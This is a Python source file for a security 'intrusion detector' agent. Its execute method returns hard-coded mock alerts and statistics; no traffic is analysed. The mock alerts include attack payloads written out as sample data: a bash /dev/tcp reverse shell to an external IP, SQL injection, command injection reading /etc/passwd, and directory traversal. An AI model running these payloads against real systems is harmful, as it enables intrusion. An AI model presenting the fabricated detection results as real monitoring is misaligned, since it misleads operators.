"""
Intrusion Detector Agent

Detects intrusion attempts and unauthorized access using IDS/IPS
signatures, network traffic analysis, and behavioral patterns.
"""

from typing import Any, Dict, List
from agents.base import BaseAgent


class IntrusionDetectorAgent(BaseAgent):
    """
    Intrusion detection and prevention agent.

    Detects:
    - Network intrusion attempts
    - Port scanning
    - Exploit attempts
    - Unauthorized access
    - Protocol anomalies
    - Attack patterns
    """

    def __init__(self):
        super().__init__(
            name='intrusion-detector',
            description='Detect intrusion attempts',
            category='security',
            version='1.0.0',
            tags=['intrusion', 'ids', 'ips', 'network', 'detection', 'prevention']
        )

    async def execute(self, params: Dict[str, Any]) -> Dict[str, Any]:
        """
        Detect intrusions.

        Args:
            params: {
                'mode': 'ids|ips',  # Detection only or Prevention
                'monitoring_scope': {
                    'network_segments': List[str],
                    'interfaces': List[str],
                    'hosts': List[str]
                },
                'detection_methods': ['signature', 'anomaly', 'protocol-analysis', 'behavioral'],
                'rule_sets': ['emerging-threats', 'snort', 'suricata', 'custom'],
                'sensitivity': 'low|medium|high|paranoid',
                'options': {
                    'packet_capture': bool,
                    'deep_packet_inspection': bool,
                    'ssl_inspection': bool,
                    'log_all_traffic': bool,
                    'auto_block': bool,
                    'alert_threshold': int
                },
                'time_window_hours': int
            }

        Returns:
            {
                'status': 'success|failed',
                'detection_id': str,
                'intrusions_detected': List[Dict],
                'total_intrusions': int,
                'blocked_attacks': int,
                'alerts_generated': int
            }
        """
        mode = params.get('mode', 'ids')
        monitoring_scope = params.get('monitoring_scope', {})
        detection_methods = params.get('detection_methods', ['signature', 'anomaly'])
        sensitivity = params.get('sensitivity', 'medium')
        options = params.get('options', {})

        self.logger.info(
            f"Intrusion detection - mode: {mode}, sensitivity: {sensitivity}"
        )

        # Mock intrusion detection results
        intrusions_detected = [
            {
                'id': 'IDS-001',
                'severity': 'critical',
                'type': 'Exploit Attempt',
                'signature': 'ET EXPLOIT Apache Struts OGNL Injection',
                'signature_id': 2024567,
                'source_ip': '185.220.101.45',
                'source_port': 54231,
                'destination_ip': '10.0.1.50',
                'destination_port': 8080,
                'protocol': 'TCP',
                'detection_method': 'signature',
                'timestamp': '2025-11-16T10:15:23Z',
                'payload_snippet': 'GET /struts2-showcase/%{(#_=...',
                'cve': 'CVE-2024-12345',
                'mitre_technique': 'T1190',
                'attack_stage': 'Initial Access',
                'confidence': 0.98,
                'action_taken': 'blocked' if mode == 'ips' else 'alerted',
                'packet_captured': True
            },
            {
                'id': 'IDS-002',
                'severity': 'high',
                'type': 'Port Scan',
                'signature': 'ET SCAN Potential SSH Scan',
                'source_ip': '103.55.67.89',
                'source_ports': list(range(40000, 40100)),
                'destination_ip': '10.0.1.0/24',
                'destination_ports': [22, 23, 3389, 445, 3306],
                'protocol': 'TCP',
                'detection_method': 'anomaly',
                'scan_type': 'SYN Scan',
                'ports_scanned': 500,
                'scan_rate': '250 ports/second',
                'timestamp': '2025-11-16T09:45:00Z',
                'duration_seconds': 120,
                'action_taken': 'blocked' if mode == 'ips' else 'alerted',
                'confidence': 0.99
            },
            {
                'id': 'IDS-003',
                'severity': 'critical',
                'type': 'SQL Injection Attempt',
                'signature': 'ET WEB_SPECIFIC_APPS SQL Injection Attempt',
                'source_ip': '92.118.36.199',
                'destination_ip': '10.0.1.55',
                'destination_port': 443,
                'protocol': 'HTTPS',
                'detection_method': 'signature + dpi',
                'url': '/api/users?id=1%27%20OR%20%271%27=%271',
                'payload': "id=1' OR '1'='1",
                'timestamp': '2025-11-16T11:30:15Z',
                'http_method': 'GET',
                'user_agent': 'sqlmap/1.6',
                'mitre_technique': 'T1190',
                'confidence': 0.97,
                'action_taken': 'blocked' if mode == 'ips' else 'alerted',
                'waf_triggered': True
            },
            {
                'id': 'IDS-004',
                'severity': 'high',
                'type': 'Unauthorized Access Attempt',
                'signature': 'ET POLICY Possible SSH Brute Force',
                'source_ip': '45.89.123.45',
                'destination_ip': '10.0.1.10',
                'destination_port': 22,
                'protocol': 'SSH',
                'detection_method': 'behavioral',
                'failed_attempts': 523,
                'timestamp_start': '2025-11-16T05:00:00Z',
                'timestamp_end': '2025-11-16T05:30:00Z',
                'usernames_attempted': ['root', 'admin', 'user', 'test'],
                'action_taken': 'blocked' if mode == 'ips' else 'alerted',
                'confidence': 0.95
            },
            {
                'id': 'IDS-005',
                'severity': 'high',
                'type': 'Command Injection',
                'signature': 'ET WEB_SERVER Command Injection Attempt',
                'source_ip': '195.133.94.23',
                'destination_ip': '10.0.1.50',
                'destination_port': 80,
                'protocol': 'HTTP',
                'detection_method': 'signature',
                'url': '/cgi-bin/script.sh?cmd=;cat%20/etc/passwd',
                'payload': ';cat /etc/passwd',
                'timestamp': '2025-11-16T12:15:45Z',
                'mitre_technique': 'T1059',
                'confidence': 0.94,
                'action_taken': 'blocked' if mode == 'ips' else 'alerted'
            },
            {
                'id': 'IDS-006',
                'severity': 'medium',
                'type': 'Directory Traversal',
                'signature': 'ET WEB_SERVER Directory Traversal',
                'source_ip': '87.120.45.67',
                'destination_ip': '10.0.1.50',
                'destination_port': 443,
                'protocol': 'HTTPS',
                'detection_method': 'signature',
                'url': '/download?file=../../../../etc/passwd',
                'payload': '../../../../etc/passwd',
                'timestamp': '2025-11-16T13:22:10Z',
                'confidence': 0.91,
                'action_taken': 'blocked' if mode == 'ips' else 'alerted'
            },
            {
                'id': 'IDS-007',
                'severity': 'medium',
                'type': 'Protocol Anomaly',
                'signature': 'ET PROTOCOL Malformed HTTP Request',
                'source_ip': '78.45.123.90',
                'destination_ip': '10.0.1.50',
                'destination_port': 80,
                'protocol': 'HTTP',
                'detection_method': 'protocol-analysis',
                'anomaly': 'Invalid HTTP version in request',
                'timestamp': '2025-11-16T14:05:30Z',
                'confidence': 0.85,
                'action_taken': 'blocked' if mode == 'ips' else 'alerted'
            },
            {
                'id': 'IDS-008',
                'severity': 'critical',
                'type': 'Reverse Shell Attempt',
                'signature': 'ET POLICY Reverse Shell Attempt',
                'source_ip': '10.0.2.45',  # Internal source
                'destination_ip': '185.220.101.89',  # External C2
                'destination_port': 4444,
                'protocol': 'TCP',
                'detection_method': 'signature + behavioral',
                'command_detected': '/bin/bash -i >& /dev/tcp/185.220.101.89/4444 0>&1',
                'timestamp': '2025-11-16T15:10:00Z',
                'mitre_technique': 'T1059.004',
                'confidence': 0.96,
                'action_taken': 'blocked' if mode == 'ips' else 'alerted',
                'alert_severity': 'CRITICAL - Potential Compromise'
            }
        ]

        severity_counts = {
            'critical': sum(1 for i in intrusions_detected if i['severity'] == 'critical'),
            'high': sum(1 for i in intrusions_detected if i['severity'] == 'high'),
            'medium': sum(1 for i in intrusions_detected if i['severity'] == 'medium'),
            'low': sum(1 for i in intrusions_detected if i['severity'] == 'low')
        }

        attack_types = {
            'Exploit Attempt': 1,
            'Port Scan': 1,
            'SQL Injection': 1,
            'Brute Force': 1,
            'Command Injection': 1,
            'Directory Traversal': 1,
            'Protocol Anomaly': 1,
            'Reverse Shell': 1
        }

        top_attackers = [
            {'ip': '185.220.101.45', 'attacks': 47, 'severity': 'critical', 'blocked': True},
            {'ip': '103.55.67.89', 'attacks': 35, 'severity': 'high', 'blocked': True},
            {'ip': '92.118.36.199', 'attacks': 28, 'severity': 'high', 'blocked': True},
            {'ip': '45.89.123.45', 'attacks': 23, 'severity': 'medium', 'blocked': True}
        ]

        blocked_attacks = len(intrusions_detected) if mode == 'ips' else 0

        return {
            'status': 'success',
            'detection_id': f'intrusion-detection-{mode}-20251116-001',
            'mode': mode,
            'sensitivity': sensitivity,
            'timestamp': '2025-11-16T00:00:00Z',
            'intrusions_detected': intrusions_detected,
            'total_intrusions': len(intrusions_detected),
            'severity_counts': severity_counts,
            'attack_types': attack_types,
            'blocked_attacks': blocked_attacks,
            'alerts_generated': len(intrusions_detected),
            'top_attackers': top_attackers,
            'unique_source_ips': 7,
            'unique_target_ips': 4,
            'traffic_analyzed': {
                'total_packets': 15234567,
                'total_bytes': 8589934592,
                'malicious_packets': 4567,
                'malicious_percentage': 0.03
            },
            'detection_statistics': {
                'signature_matches': 6,
                'anomaly_detections': 2,
                'protocol_anomalies': 1,
                'behavioral_detections': 2,
                'true_positives': len(intrusions_detected),
                'false_positives': 3,
                'accuracy': 0.96
            },
            'rule_performance': {
                'total_rules_loaded': 45678,
                'active_rules': 45000,
                'rules_triggered': 234,
                'most_triggered_rules': [
                    'ET SCAN Potential SSH Scan',
                    'ET WEB_SPECIFIC_APPS SQL Injection Attempt',
                    'ET EXPLOIT Apache Struts OGNL Injection'
                ]
            },
            'recommendations': [
                'IMMEDIATE: Investigate reverse shell attempt from internal host',
                'IMMEDIATE: Block top attacker IPs at perimeter firewall',
                'HIGH: Patch Apache Struts vulnerability (CVE-2024-12345)',
                'HIGH: Implement rate limiting for SSH',
                'MEDIUM: Review and update IDS/IPS rules',
                'Enable automatic blocking for critical threats',
                'Implement GeoIP blocking for high-risk countries',
                'Configure custom rules for application-specific attacks',
                'Enable SSL inspection for encrypted traffic',
                'Integrate with SIEM for correlation'
            ],
            'network_segments_monitored': len(monitoring_scope.get('network_segments', [])) or 5,
            'interfaces_monitored': len(monitoring_scope.get('interfaces', [])) or 8,
            'pcap_files_generated': 8 if options.get('packet_capture') else 0,
            'reports_generated': [
                f'intrusion_detection_{mode}_20251116.pdf',
                f'intrusion_alerts_20251116.json',
                f'blocked_ips_20251116.csv',
                f'attack_timeline_20251116.html'
            ],
            'next_steps': [
                'Review critical alerts immediately',
                'Update firewall rules to block malicious IPs',
                'Investigate internal reverse shell source',
                'Patch identified vulnerabilities',
                'Tune IDS/IPS rules to reduce false positives',
                'Schedule regular signature updates'
            ]
        }

    def validate_params(self, params: Dict[str, Any]) -> bool:
        """Validate intrusion detection parameters."""
        valid_modes = ['ids', 'ips']
        mode = params.get('mode', 'ids')
        if mode not in valid_modes:
            self.logger.error(f"Invalid mode: {mode}")
            return False

        valid_sensitivity = ['low', 'medium', 'high', 'paranoid']
        sensitivity = params.get('sensitivity', 'medium')
        if sensitivity not in valid_sensitivity:
            self.logger.error(f"Invalid sensitivity: {sensitivity}")
            return False

        return True
